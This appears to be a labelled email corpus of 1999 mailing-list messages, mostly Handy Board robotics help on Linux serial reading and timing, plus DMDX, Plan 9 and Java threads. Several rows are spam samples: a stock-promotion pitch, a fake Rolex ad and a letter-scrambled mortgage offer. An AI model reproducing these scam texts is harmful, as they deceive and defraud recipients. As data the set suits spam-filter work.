1 character | arrives */ | newtio.c_cc[VSWTC] = 0; /* '\\0' */ | newtio.c_cc[VSTART] = 0; /* Ctrl-q */ | newtio.c_cc[VSTOP] = 0; /* Ctrl-s */ | newtio.c_cc[VSUSP] = 0; /* Ctrl-z */ | newtio.c_cc[VEOL] = 0; /* '\\0' */ | newtio.c_cc[VREPRINT] = 0; /* Ctrl-r */ | newtio.c_cc[VDISCARD] = 0; /* Ctrl-u */ | newtio.c_cc[VWERASE] = 0; /* Ctrl-w */ | newtio.c_cc[VLNEXT] = 0; /* Ctrl-v */ | newtio.c_cc[VEOL2] = 0; /* '\\0' */ | | /* | now clean the modem line and activate the settings for the port | */ | tcflush(fd, TCIFLUSH); | tcsetattr(fd,TCSANOW,&newtio); | | /* | terminal settings done, now handle input | In this example, inputting a 'z' at the beginning of a line will | exit the program. | */ | while (STOP==FALSE) { /* loop until we have a terminating | condition */ | /* read blocks program execution until a line terminating character | is | input, even if more than 255 chars are input. If the number | of characters read is smaller than the number of chars available, | subsequent reads will return the remaining chars. res will be set | to the actual number of characters actually read */ | printf(""doing read...\\n""); | res = read(fd,buf,255); | printf(""done width read\\n""); | | | |",0,0 Andrea M Okerholm ,"David Boosalis , handyboard mailist ","Thu, 29 Jul 1999 08:21:28 -0400",Re: Reading Serial Port,"It isn't hanging, it's a blocking read until it recieves some specified number of characters. You can use a non blocking read by specifying O_NONBLOCK, in which case read() will return immediately. The Linux serial programming HOWTO is very good, I used to to make my own serial program linux -> handyboard -> linux. This is your problem: > newtio.c_cc[VMIN] = 1; /* blocking read until 1 character > arrives */ Add O_NONBLOCK here: > fd = open(MODEMDEVICE, O_RDWR | O_NOCTTY ); The HB can transmit at 9600 baud, you don't need to wait as long as a second. Just make sure that the Linux box is expecting 9600 and there shouldn't be a problem. Your IC code should also wait for the UART to clear before sending each character. The serial.c on the website does this. I've been using the serialq code which works well also. Change this to B9600: > #define BAUDRATE B921600 -Andrea --On Thu, Jul 29, 1999 3:27 AM -0400 David Boosalis wrote: > This is not really a HB question, but I am hoping someone here has > experience in it anyway. My question is in how do you read the Serial > port under Linux. The Linux HOWTO's give an example, which I show > below. What happens is that it hangs on the read, that is I never see > the second printf after the read in the code below. Perhaps there is > someting wrong with my IC code, as the lights do not flash on the serial > board showing any network traffic. I transmit ""David\\n"", one character > every second. > > > Any suggestions most appreciated. > David Boosalis > > > > #included by */ > #define BAUDRATE B921600 > #define MODEMDEVICE ""/dev/ttyS0"" > #define _POSIX_SOURCE 1 /* POSIX compliant source */ > #define FALSE 0 > #define TRUE 1 > > volatile int STOP=FALSE; > > main() > { > int fd,c, res; > struct termios oldtio,newtio; > char buf[255]; > /* > Open modem device for reading and writing and not as controlling tty > > because we don't want to get killed if linenoise sends CTRL-C. > */ > fd = open(MODEMDEVICE, O_RDWR | O_NOCTTY ); > if (fd <0) {perror(MODEMDEVICE); exit(-1); } > > tcgetattr(fd,&oldtio); /* save current serial port settings */ > bzero(&newtio, sizeof(newtio)); /* clear struct for new port settings > */ > > /* > BAUDRATE: Set bps rate. You could also use cfsetispeed and > cfsetospeed. > CRTSCTS : output hardware flow control (only used if the cable has > all necessary lines. See sect. 7 of Serial-HOWTO) > CS8 : 8n1 (8bit,no parity,1 stopbit) > CLOCAL : local connection, no modem contol > CREAD : enable receiving characters > */ > newtio.c_cflag = BAUDRATE | CRTSCTS | CS8 | CLOCAL | CREAD; > > /* > IGNPAR : ignore bytes with parity errors > ICRNL : map CR to NL (otherwise a CR input on the other computer > will not terminate input) > otherwise make device raw (no other input processing) > */ > newtio.c_iflag = IGNPAR | ICRNL; > > /* > Raw output. > */ > newtio.c_oflag = 0; > > /* > ICANON : enable canonical input > disable all echo functionality, and don't send signals to calling > program > */ > newtio.c_lflag = ICANON; > > /* > initialize all control characters > default values can be found in /usr/include/termios.h, and are > given > in the comments, but we don't need them here > */ > newtio.c_cc[VINTR] = 0; /* Ctrl-c */ > newtio.c_cc[VQUIT] = 0; /* Ctrl-\\ */ > newtio.c_cc[VERASE] = 0; /* del */ > newtio.c_cc[VKILL] = 0; /* @ */ > newtio.c_cc[VEOF] = 4; /* Ctrl-d */ > newtio.c_cc[VTIME] = 0; /* inter-character timer unused */ > newtio.c_cc[VMIN] = 1; /* blocking read until 1 character > arrives */ > newtio.c_cc[VSWTC] = 0; /* '\\0' */ > newtio.c_cc[VSTART] = 0; /* Ctrl-q */ > newtio.c_cc[VSTOP] = 0; /* Ctrl-s */ > newtio.c_cc[VSUSP] = 0; /* Ctrl-z */ > newtio.c_cc[VEOL] = 0; /* '\\0' */ > newtio.c_cc[VREPRINT] = 0; /* Ctrl-r */ > newtio.c_cc[VDISCARD] = 0; /* Ctrl-u */ > newtio.c_cc[VWERASE] = 0; /* Ctrl-w */ > newtio.c_cc[VLNEXT] = 0; /* Ctrl-v */ > newtio.c_cc[VEOL2] = 0; /* '\\0' */ > > /* > now clean the modem line and activate the settings for the port > */ > tcflush(fd, TCIFLUSH); > tcsetattr(fd,TCSANOW,&newtio); > > /* > terminal settings done, now handle input > In this example, inputting a 'z' at the beginning of a line will > exit the program. > */ > while (STOP==FALSE) { /* loop until we have a terminating > condition */ > /* read blocks program execution until a line terminating character > is > input, even if more than 255 chars are input. If the number > of characters read is smaller than the number of chars available, > subsequent reads will return the remaining chars. res will be set > to the actual number of characters actually read */ > printf(""doing read...\\n""); > res = read(fd,buf,255); > printf(""done width read\\n""); > > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Music is well said to be the speech of angels; in fact, nothing among the utterances allowed to man is felt to be so divine. It brings us near to the infinite. ~ Thomas Carlyle ~",0,0 """Fred G. Martin"" ",Stefano Falconetti ,"Thu, 29 Jul 1999 09:35:55 -0400",Re: R: Reading Serial Port ,"also remember that at 9600 baud or higher, you may not see the flashing of the serial LEDs. try setting the baud rate to 300 or even 110 if you're doing visual-flash debugging. fred In your message you said: > You can try Java comm API, under linux too. > (If you want to use java ... :-) > Stefano > > ---------- > | Da: David Boosalis > | A: handyboard mailist > | Oggetto: Reading Serial Port > | Data: 29 July 1999 09:27 > | > | This is not really a HB question, but I am hoping someone here has > | experience in it anyway. My question is in how do you read the Serial > | port under Linux. The Linux HOWTO's give an example, which I show > | below. What happens is that it hangs on the read, that is I never see > | the second printf after the read in the code below. Perhaps there is > | someting wrong with my IC code, as the lights do not flash on the serial > | board showing any network traffic. I transmit ""David\\n"", one character > | every second. > | > | > | Any suggestions most appreciated. > | David Boosalis > | > | > | > | #included by */ > | #define BAUDRATE B921600 > | #define MODEMDEVICE ""/dev/ttyS0"" > | #define _POSIX_SOURCE 1 /* POSIX compliant source */ > | #define FALSE 0 > | #define TRUE 1 > | > | volatile int STOP=FALSE; > | > | main() > | { > | int fd,c, res; > | struct termios oldtio,newtio; > | char buf[255]; > | /* > | Open modem device for reading and writing and not as controlling tty > | > | because we don't want to get killed if linenoise sends CTRL-C. > | */ > | fd = open(MODEMDEVICE, O_RDWR | O_NOCTTY ); > | if (fd <0) {perror(MODEMDEVICE); exit(-1); } > | > | tcgetattr(fd,&oldtio); /* save current serial port settings */ > | bzero(&newtio, sizeof(newtio)); /* clear struct for new port settings > | */ > | > | /* > | BAUDRATE: Set bps rate. You could also use cfsetispeed and > | cfsetospeed. > | CRTSCTS : output hardware flow control (only used if the cable has > | all necessary lines. See sect. 7 of Serial-HOWTO) > | CS8 : 8n1 (8bit,no parity,1 stopbit) > | CLOCAL : local connection, no modem contol > | CREAD : enable receiving characters > | */ > | newtio.c_cflag = BAUDRATE | CRTSCTS | CS8 | CLOCAL | CREAD; > | > | /* > | IGNPAR : ignore bytes with parity errors > | ICRNL : map CR to NL (otherwise a CR input on the other computer > | will not terminate input) > | otherwise make device raw (no other input processing) > | */ > | newtio.c_iflag = IGNPAR | ICRNL; > | > | /* > | Raw output. > | */ > | newtio.c_oflag = 0; > | > | /* > | ICANON : enable canonical input > | disable all echo functionality, and don't send signals to calling > | program > | */ > | newtio.c_lflag = ICANON; > | > | /* > | initialize all control characters > | default values can be found in /usr/include/termios.h, and are > | given > | in the comments, but we don't need them here > | */ > | newtio.c_cc[VINTR] = 0; /* Ctrl-c */ > | newtio.c_cc[VQUIT] = 0; /* Ctrl-\\ */ > | newtio.c_cc[VERASE] = 0; /* del */ > | newtio.c_cc[VKILL] = 0; /* @ */ > | newtio.c_cc[VEOF] = 4; /* Ctrl-d */ > | newtio.c_cc[VTIME] = 0; /* inter-character timer unused */ > | newtio.c_cc[VMIN] = 1; /* blocking read until 1 character > | arrives */ > | newtio.c_cc[VSWTC] = 0; /* '\\0' */ > | newtio.c_cc[VSTART] = 0; /* Ctrl-q */ > | newtio.c_cc[VSTOP] = 0; /* Ctrl-s */ > | newtio.c_cc[VSUSP] = 0; /* Ctrl-z */ > | newtio.c_cc[VEOL] = 0; /* '\\0' */ > | newtio.c_cc[VREPRINT] = 0; /* Ctrl-r */ > | newtio.c_cc[VDISCARD] = 0; /* Ctrl-u */ > | newtio.c_cc[VWERASE] = 0; /* Ctrl-w */ > | newtio.c_cc[VLNEXT] = 0; /* Ctrl-v */ > | newtio.c_cc[VEOL2] = 0; /* '\\0' */ > | > | /* > | now clean the modem line and activate the settings for the port > | */ > | tcflush(fd, TCIFLUSH); > | tcsetattr(fd,TCSANOW,&newtio); > | > | /* > | terminal settings done, now handle input > | In this example, inputting a 'z' at the beginning of a line will > | exit the program. > | */ > | while (STOP==FALSE) { /* loop until we have a terminating > | condition */ > | /* read blocks program execution until a line terminating character > | is > | input, even if more than 255 chars are input. If the number > | of characters read is smaller than the number of chars available, > | subsequent reads will return the remaining chars. res will be set > | to the actual number of characters actually read */ > | printf(""doing read...\\n""); > | res = read(fd,buf,255); > | printf(""done width read\\n""); > | > | > | > | >",0,0 Robert Pitts ,info@gso.bu.edu,"Thu, 29 Jul 1999 12:59:53 -0400","GSO - summary of Wed, Jul 28, 99 meeting","Here is a summary of what we did at yesterday's Graduate Student Organization meeting. Our next general meeting will be in August (to be announced). --Rob Summary ======= 1. Committee Reports Financial, Academic and Research Committee ========================================== Ann Walker reported for this committee. - They have finished writing a policy statement for ""Advising"" and other aspects of the graduate student process. Again, this is a document that states what they think the responsibilities of students, faculty, depts and the univ should be in the advisor/ advisee relationship and degree process. It is now ready for members of other committees to review. Other interested students may also learn more about it by contacting Ann. ---- One attendee communicated a suggestion for how to get the ""Advising"" document recognized once it has been reviewed, i.e., by taking a step-by-step approach: having the GSO/grad students ""sign on"" to the policies in the document, then faculty/depts and finally the GRS administration. Another suggested that when it is ready for the administration, it should be presented via the Liaison Committee. Healthcare Committee ==================== Rob Pitts reported for this committee. They have: - Listed a portion of Massachusetts' minimum coverage requirements for Qualifying Student Health Insurance Plans in the ""Legislation/Laws"" section of the Healthcare Pages (http://gso.bu.edu/healthcare). This portion of the regulations mainly describes what maximums/deductibles/ copayments student insurance programs can have. - Although the NAGPS-endorsed health insurance plan is supposed to reflect those state regulations, the plan is still in the process of getting their Claims Dept up to speed on that. So we will defer making those updates on our web site until then. I.e., the NAGPS health plan write-up on the Healthcare Pages currently reflects the coverage for the plan nationally for 99/00, but does not list the better coverage they are supposed to provide in Mass. - Updated the Association Dental Plan for 99/00 on the Healthcare Pages. This is the NAGPS-endorsed dental discount plan, which apparently will no longer be endorsed this fall. - Added an additional dental discount plan to the Healthcare Pages, the CAREINGTON Dental Plan, which is offered through the Education Finance Group (the company that offers the NAGPS-endorsed health plan). Housing Committee ================= This committee is out of town for the summer. Liaison Committee ================= Rob Pitts , acting liaison for the summer, reported for this committee. Some of the following information comes from meetings with Andrea White (assistant to Assoc. Dean Whitaker). International TF Orientation ---------------------------- Mike Elioff volunteered to run a social event during this orientation. The event will probably be the evening of Monday, August 23rd, 6pm in the GSU. GRS will provide some food and Mike's band will play. They would like to invite continuing students to come mingle with the new students, but this will be contingent on costs. Also, there are other events for new int'l TFs during this orientation, including a Red Sox game, trolley tour of Boston, movie, and various receptions. In addition, they are giving these new students a free week's T pass (to use whenever they like). New Student Packets ------------------- We've given an updated ""GSO Sept. '99 Events"" flyer to GRS to be included in the information packets that new students will receive when they arrive in the Fall. It lists 4 events: the information fair for new students, a talk on ""Intellectual Property"", a social event, and our first GSO meeting of the semester. Library Privileges ------------------ Aimee Trochio , a grad rep from English who is currently representing those students on this issue, met with Martha Wellman Kahn from GRS. Ms. Kahn was not able to help on the issue, but suggested continuing to keep after Assoc. Dean Whitaker. She did inform Aimee, however, that the library gets info about who are TFs from the main student information system rather than the Records Office. Aimee and our liaison will try to meet with Whitaker after he returns from his vacation. Grad Student Fee ---------------- Andrea White suggested that if we want to pursue instituting a student fee by which the GSO would be funded, we may be able to have GRS send an e-mail to GRS students, surveying them on that issue. GRS Funding for GSO ------------------- As far as GRS funding different GSO events, Andrea White would just like to make sure that she gets notice of the money needed (e.g., for social events, etc.) at least one week prior to the event. Social Committee ================ This committee did not report. Steering Committee ================== This committee did not report. 2. Fall Activities This discussion was deferred until another meeting.",0,1 Andrea M Okerholm ,handyboard@media.mit.edu,"Thu, 29 Jul 1999 14:45:19 -0400",Dead handyboard?," My hb was working fine, I took it on a trip in an antistatic bag. When I took it out of the bag, the battery was completely drained. But as soon as I started to charge it, one of the resistors burned up. So I tried charging it via the interface board, which worked, but the batteries won't hold their charge. When they do have some charge, all the red lights and the green ON light all light up and it won't go into bootstrap mode. Does anyone know what's wrong? Andrea ",0,0 """Curt Mills, WE7U"" ",Andrea M Okerholm ,"Thu, 29 Jul 1999 13:00:22 -0700",Re: Dead handyboard?,"On Thu, 29 Jul 1999, Andrea M Okerholm wrote: > My hb was working fine, I took it on a trip in an antistatic bag. When I > took it out of the bag, the battery was completely drained. But as soon as > I started to charge it, one of the resistors burned up. So I tried > charging it via the interface board, which worked, but the batteries won't > hold their charge. When they do have some charge, all the red lights and > the green ON light all light up and it won't go into bootstrap mode. Does > anyone know what's wrong? Antistatic bags are conductive, right? You might have shorted the power to the ground via the bag itself, thereby killing your battery. Once a NiCad cell shorts, then it will can a large amount of current from a charger, possibly killing off a resistor that is in series (is there one on the Handyboard in series?). I would expect that replacing the battery pack and the resistor may solve the problem. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Christopher Biggs ,handyboard mailist ,"Fri, 30 Jul 1999 07:00:01 +1000",Re: Reading Serial Port,"David Boosalis moved upon the face of the 'Net and spake thusly: > This is not really a HB question, but I am hoping someone here has > experience in it anyway. My question is in how do you read the Serial > port under Linux. The Linux HOWTO's give an example, which I show ""Use The Source, Luke"". Check the source code of the downloader in the Unix port of Interactive C. > #included by */ > #define BAUDRATE B921600 I think you want 9600, not 921kbaud (unless you're running your 6811 E clock at 500 MHz). > newtio.c_cflag = BAUDRATE | CRTSCTS | CS8 | CLOCAL | CREAD; No point turning on RTS/CTS flow control--those pins are not driven by the handyboard. Depending on your cabling, this may be causing your problem (lack of CTS-high at the PC end). See also the Linux ""Serial-Programming-HOWTO"". cjb. -- ------------------ Linux hackers do it in protected mode ------------------- | Christopher Biggs - Software Engineer, Stallion Technologies, Australia | | chris@stallion.oz.au - CEO, J.Random Deadguy Institute for Weird Studies | ------- Mathematics and alcohol don't mix --- Never drink and derive -------",0,0 michalt@psych.usyd.edu.au,DMDX@psy1.psych.arizona.edu,"Fri, 30 Jul 1999 10:02:40 +1000",[DMDX] an experimental questions,"Dear all, I'm constructing an exeriment in which I want to present the subject with a begining of a sentence, and then when he's ready he should press the space bar to get the last item, for which he should decide whether it's a word or not. I found no problems in terms of presentation, however, I don't know how to let the program know to wait until the space bar is pressed, before presenting the last item. I guess I should add a keyword before the first part (i.e., the sentence), but could not find the right way to do it. Does anybody know if it is possibile to generate, and if it does, what is the right way to do it? If needed, I can add more details about the paradigm. Thanks a lot, Michal Tannenbaum Department of Psychology, A17 University of Sydney, NSW, 2006 Australia Ph: 61-2-9371-2180/61-2-9385-2441 Fax: 61-2-9385-3641 ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 29 Jul 1999 18:11:33 -0700",[DMDX] Re: an experimental questions,"At 10:02 AM 7/30/99 +1000, you wrote: >Dear all, > >I'm constructing an exeriment in which I want to present the subject with a >begining of a sentence, and then when he's ready he should press the space >bar to get the last item, for which he should decide whether it's a word or >not. I found no problems in terms of presentation, however, I don't know how >to let the program know to wait until the space bar is pressed, before >presenting the last item. I guess I should add a keyword before the first >part (i.e., the sentence), but could not find the right way to do it. Does >anybody know if it is possibile to generate, and if it does, what is the >right way to do it? If needed, I can add more details about the paradigm. You'll want to use two items for each presentation and if you are using scrambling you'll want a group size of two. First item is just an instruction and the second is a regular response gathering item: 0 ""beginning of a sentence""; +1 ""last item"" * ; 0 ""beginning of another sentence""; +2 ""last item"" * ; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A man cannot be in two places at once, unless he is a bird. ",0,0 michalt@psych.usyd.edu.au,DMDX@psy1.psych.arizona.edu,"Fri, 30 Jul 1999 11:22:52 +1000",[DMDX] Re: an experimental questions,"Thanks very much, I'll try that. Michal >At 10:02 AM 7/30/99 +1000, you wrote: >>Dear all, >> >>I'm constructing an exeriment in which I want to present the subject with a >>begining of a sentence, and then when he's ready he should press the space >>bar to get the last item, for which he should decide whether it's a word or >>not. I found no problems in terms of presentation, however, I don't know how >>to let the program know to wait until the space bar is pressed, before >>presenting the last item. I guess I should add a keyword before the first >>part (i.e., the sentence), but could not find the right way to do it. Does >>anybody know if it is possibile to generate, and if it does, what is the >>right way to do it? If needed, I can add more details about the paradigm. > > You'll want to use two items for each presentation and if you are using >scrambling you'll want a group size of two. First item is just an >instruction and the second is a regular response gathering item: > >0 ""beginning of a sentence""; >+1 ""last item"" * ; >0 ""beginning of another sentence""; >+2 ""last item"" * ; > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > A man cannot be in two places at once, unless he is a bird. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. 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But i get no results... i tested the stop button and it works fine (i compared with the OTHER handyboard i had)... i also had to solder the resistor pack manually with cables (the tracks broke) - can anyone tell me what might be wrong? About the IR sensors, i wanted to know what circuit (i.e. w/ transistors) would be fine to use to amplify the signals, because i only get millivolt variations on my sensor. Any ideas? Thanks! ",0,0 Ismael Copeland ,handyboard@media.mit.edu,"Fri, 30 Jul 1999 03:06:56 -0200","[fwd] Put CGDC on your radar's now. This stock shows a significant up in stock price and sometimes in days, not months or years.","CHINA GOLD CORP Symbol: CGDC Current Price: 2.16 A Company engaged in gold and minerals exploration and development of gold and mineral properties in China. Why consider CHINA GOLD CORP (CGDC)? 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If you wish to stop future mailings, or if you feel you have been wrongfully placed in our membership, send a blank e mail with No Thanks in the sub ject to",1,0 """Nelson H. F. Beebe"" ","java-sig@csc-sun.math.utah.edu, java-users@csc-sun.math.utah.edu","Fri, 30 Jul 1999 08:35:02 -0600",Recent technical papers on Java,"The journal Software: Practice and Experience has published a dozen articles related to Java; you can find them in its bibliography at ftp://ftp.math.utah.edu/pub/tex/bib/java.bib http://www.math.utah.edu/pub/tex/bib/index-table-j.html#java Two of particular note are these: @Article{Phipps:1999:COB, author = ""Geoffrey Phipps"", title = ""Comparing observed bug and productivity rates for {Java} and {C++}"", journal = j-SPE, volume = ""29"", number = ""4"", pages = ""345--358"", day = ""10"", month = apr, year = ""1999"", CODEN = ""SPEXBL"", ISSN = ""0038-0644"", bibdate = ""Thu Jul 29 15:12:16 MDT 1999"", bibsource = ""http://www3.interscience.wiley.comjournalfinder.html"", URL = ""http://www3.interscience.wiley.com/cgi-bin/fulltext?ID=55001844&PLACEBO=IE.pdf; http://www3.interscience.wiley.com/cgi-bin/abstract?ID=55001844"", acknowledgement = ack-nhfb, } @Article{Thimbleby:1999:CJ, author = ""Harold Thimbleby"", title = ""A critique of {Java}"", journal = j-SPE, volume = ""29"", number = ""5"", pages = ""457--478"", day = ""25"", month = apr, year = ""1999"", CODEN = ""SPEXBL"", ISSN = ""0038-0644"", bibdate = ""Thu Jul 29 15:12:18 MDT 1999"", bibsource = ""http://www3.interscience.wiley.comjournalfinder.html"", URL = ""http://www3.interscience.wiley.com/cgi-bin/fulltext?ID=55003857&PLACEBO=IE.pdf; http://www3.interscience.wiley.com/cgi-bin/abstract?ID=55003857"", acknowledgement = ack-nhfb, } The URLs are reachable only if you have a personal subscription to the journal, or your library does (the U of Utah Marriott Library has, so I've been able to fetch PDF versions of these papers). ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- ",0,1 """Landahl, Bill"" ",HandyBoard ,"Fri, 30 Jul 1999 08:44:25 -0400",Millisecond timing,"I recently bought a Handy Board to use in acquiring time measurements varying by one millisecond. The Handy Board has a clock speed of 2kHz, therefore it should be able to measure down to one half millisecond. What I have found however is that the smallest time I am measuring is 3 millieseconds. Ther is no code running except for the time acquisition code. My question is, Will it be possible for me to get the one millisecond time accuracy I want? Should I be using system interupts instead of just reading system time? If so, how do I do that? Below is the code I am running for the time acquisition. int x; int y; float p; float n; float z; void main (void) { while(1) { if (digital(10)){ /* capture leading edge*/ while (x < 1){ n = seconds(); x++; } } if (digital(11)){ /*capture leading edge*/ while (y < 1){ p = seconds(); y++; } z = p - n; /*floating point math- after data acquired*/ printf(""\\nTime= %f"",z); } if (start_button()){ x=0; y=0; reset_system_time(); } } }",0,0 Gary Livick ,"""Landahl, Bill"" ","Fri, 30 Jul 1999 09:11:53 -0700",Re: Millisecond timing,"The clock speed on the Handy Board runs at 2 Mhz, which is plenty fast enough for most things IF you run the right code. IC, used in its C implementation is too slow to catch anything at 1 ms reliably. However, there are a few simple work arounds. You can use one of the input capture ports, which are hardware implementations that run outside the processor, to generate an interrupt when you get a pulse you want to catch. The interrupt will need to be written as an assembly file, and run as a .icb file. Using this method, I've been able to time things that are 100 microseconds wide. Another way is to write in assembly to begin with, and load the code using PCbug or some other software device. That should be much faster yet, and in fact by using the tables in one of the Motorolla manuals, you can actually add up the execution times of each step in your assembly routine and know the exact timing. The bottom line, and the answer to your question, is you can't get there with IC directly as it executes too slowly. The problem is not with the Handy Board, it is with the fact that IC is interpreted by a runtime software package that lives in ram called the Pcode interpreter. It works great for most things, and allows workarounds for things that are to fast to be handled directly. Hope this isn't too much info..... Best regards, Gary Livick ""Landahl, Bill"" wrote: > > > I recently bought a Handy Board to use in acquiring time > measurements varying by one millisecond. The Handy Board has a clock > speed of 2kHz, therefore it should be able to measure down to one half > millisecond. > > What I have found however is that the smallest time I am > measuring is 3 millieseconds. Ther is no code running except for the > time acquisition code. My question is, Will it be possible for me to > get the one millisecond time accuracy I want? Should I be using > system interupts instead of just reading system time? If so, how do I > do that? > > Below is the code I am running for the time acquisition. > > int x; > int y; > float p; > float n; > float z; > void main (void) > { > while(1) { > > if (digital(10)){ /* capture leading edge*/ > while (x < 1){ > n = seconds(); > x++; > } > } > if (digital(11)){ /*capture leading edge*/ > while (y < 1){ > p = seconds(); > y++; > } > z = p - n; /*floating point math- after data > acquired*/ > printf(""\\nTime= %f"",z); > } > > if (start_button()){ > x=0; > y=0; > reset_system_time(); > } > } > }",0,0 Will Bain ,Handyboard Mailing List ,"Fri, 30 Jul 1999 10:26:53 -0600",Re: Millisecond timing,"> ""Landahl, Bill"" wrote: > > I recently bought a Handy Board to use in acquiring time measurements varying by > one millisecond. The Handy Board has a clock speed of 2kHz, therefore it should > be able to measure down to one half millisecond. > > What I have found however is that the smallest time I am measuring is 3 millieseconds. > Ther is no code running except for the time acquisition code. My question is, Will > it be possible for me to get the one millisecond time accuracy I want? Should I be > using system interupts instead of just reading system time? If so, how do I do that? See the Polaroid sonar code (from the HB web site) for an example of how to measure timing signals on the TIC3 channel. You initialize with: bit_set( 0x1009, 0x30 ); /* ddrd */ bit_set( 0x1021, 1 ); /* at tctl2, */ bit_clear( 0x1021, 2 ); /* set tic3 for rising edge */ then start timing with: poke( 0x1023, 1 ); /* clear tic3 flag */ start_time = peekword( 0x100E ); /* capture start time */ then do something else for a while, and finish with: return peekword( 0x1014 ) - start_time; /* tic3 has time of echo */ I confess I really don't understand it (especially, what's the difference between peekword(0x100E) and peekword(0x1014) ???) but it seems to work. -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, When people are free to do as they please, Will Bain, they usually imitate each other. & Tatoosh --Eric Hoffer ",0,0 Ernesto Flowers ,Winnie ,,re[14]," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! Rolex :: Cartier :: Bvlgari :: Frank Muller :: Patek Philippe :: Vacheron Constantin A. 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Miller inductor and the 10 volt 470 cap on the system, the other caps are rated at 16 volts, but at the right value I believe, surplus parts. The only deviation on my system is the use of Nickel Metel Hydride batteries, 9.6 volts 1.2 Amps. HELP!!! How is the noise on the boards handled? Have you ever heard of this problem? What did I do wrong? I need to get this solved before I have 15 more boards that do not work right. Any help at this point would be very appreciated. Greg Hayward Greg P Hayward Mechanical Engineer / MDVT Testing MSABU Cisco Systems, Inc. direct1: 408.527.5550 Pager : 408.237.8643 fax: 408.527.7234 email: ghayward@cisco.com http://www.cisco.com _______________________________________________________________________________ The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. 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Part of the reason is that there is no documentation available for NeXT hardware and Apple have not published the kernel sources for their port of Mach. Plan 9 however has been ported to NeXT hardware. I understand that even with the help of documentation from NeXT, the port was still a painful process. So the quickest way for me to do a port of Linux would be to study the Plan 9 kernel source for tips on how to access the hardware. Problem is though that Plan 9 costs $350 plus shipping in the US - probably more here in the UK. The number quoted in the FAQ led me to a UK number. Their computer was down yesterday and they were unable to tell me if they had Plan 9 in stock. Amazon is quoting 4-6 weeks delivery. But basically >$350 seems a lot to pay for something I don't intend to use! So I was wondering if there is any other way of obtaining the sources I need. I believe there was an old version available for non-commercial use. That would suit me fine since the NeXT-specific bits are unlikely to have changed. Does anyone know if this is still available anywhere? Thanks in advance, Dave ",0,0 Orpah Cincotta ,keisha@aleve.media.mit.edu,"Sun, 01 Aug 1999 05:52:10 -0700",Re: tuiul news,"D p ear Home Ow g ne f r , Your c m redi h t doesn't matter to us ! If you OW b N real e p st y at b e and want IM b ME e DIAT i E ca l sh to sp e en z d ANY way you like, or simply wish to L m OWER your monthly p p aym w ents by a third or more, here are the deal y s we have T i OD z AY : $ 4 e 88 , 000 at a 3 , 6 o 7% fi g xed - ra e te $ 3 o 72 , 000 at a 3 , 9 x 0% va w ria v ble - rat a e $ 49 a 2 , 000 at a 3 , v 21% i m ntere c st - only $ 24 a 8 , 000 at a 3 , 3 s 6% fi f xed - rat j e $ 1 u 98 , 000 at a 3 , a 55% varia z ble - ra c te Hur n ry, when these d x eaIs are gone, they are gone ! Don't worry about app f rova d l, your cr l edi f t will not di d squ a alify you ! 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No, there is no means to obtain the source for free. However, if you check the [9fans] archive, you will find some email suggesting a possible release of the current version for free in the future. However, there is no date, and it might not include anything other than x86. -----Original Message----- delivery. But basically >$350 seems a lot to pay for something I don't intend to use! ",0,0 Jonathan Pennington ,Handyboard list ,"Mon, 02 Aug 1999 09:14:25 -0400",IC code site,"Update: Things have been really slow so far. I've added the two functions that I've gotten off the list to the archive. I'll be entering code fragments from ""Mobile Robots"" later in the week. If there are other books out there with IC or easily portable C code in them (and with publishers who are nice about code fragment copyrights), sent me the titles offlist. I think I'll just be adding the individual functions and such from large, published programs (such as the Rug Warrior program). However, entire programs not published, or to which I get permission to publish whole, will be added as whole programs. I will also be adding all the code from the Handy Board site, and scanning the list archives for code fragments, but this will take longer because I won't be able to tell if there is code in messages by the subject header alone (unless I can write a TCL script to parse messages, hmmm.) Anyway, remember the site depends on all of you... well, me too I guess. -- ""You have changed your mind. Restart Windows for changes to take effect."" ___________________________________________________________________________ Jonathan Pennington | -Wannabe Geologist/Anthropologist Charleston, SC | -Linux User and Advocate Email at jwp(at)awod.com | 83 V45 Magna ""The Lighter Side"" root@localhost (Spambot food) | 71 Triumph TR6C ""Mistake!"" ---------------------------------------------------------------------------- ",0,0 Alex Stewart ,handyboard@media.mit.edu,"Mon, 02 Aug 1999 11:08:15 -0700",Vision on HB,"Anyone tried using a CCD camera vision system on the handy board ? If so how did you go about doing it , hardware , software, wise?Sample code would be great:) Thanx, Alex Stewart _______________________________________________________________ Get Free Email and Do More On The Web. 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I imported my file system into another PC terminal on the network. I then wrote a simple program to run on the remote PC to read raw bytes from the imported files system, but forgot to close the file. Not thinking much about it, I ran to program 3 times, got the info I needed then rebooted both machines. (the hosting machine and the importing machine). When I rebooted both computers I got 3 panic messages on the boot screens that happened while running my lib/profile. Both systems appeared to hang. I then logged in as another user on one of the PCs, and deleted my test program. This appeared to get everyone booting again. The other hanging PC (That I did NOT log into as another user), resumed its boot, ignoring the errors. When I checked the /proc and also did a ps I saw descriptions for the 3 executions of the test program. It was listed as broken. Question: What was going on here, I am just curious. Did Plan 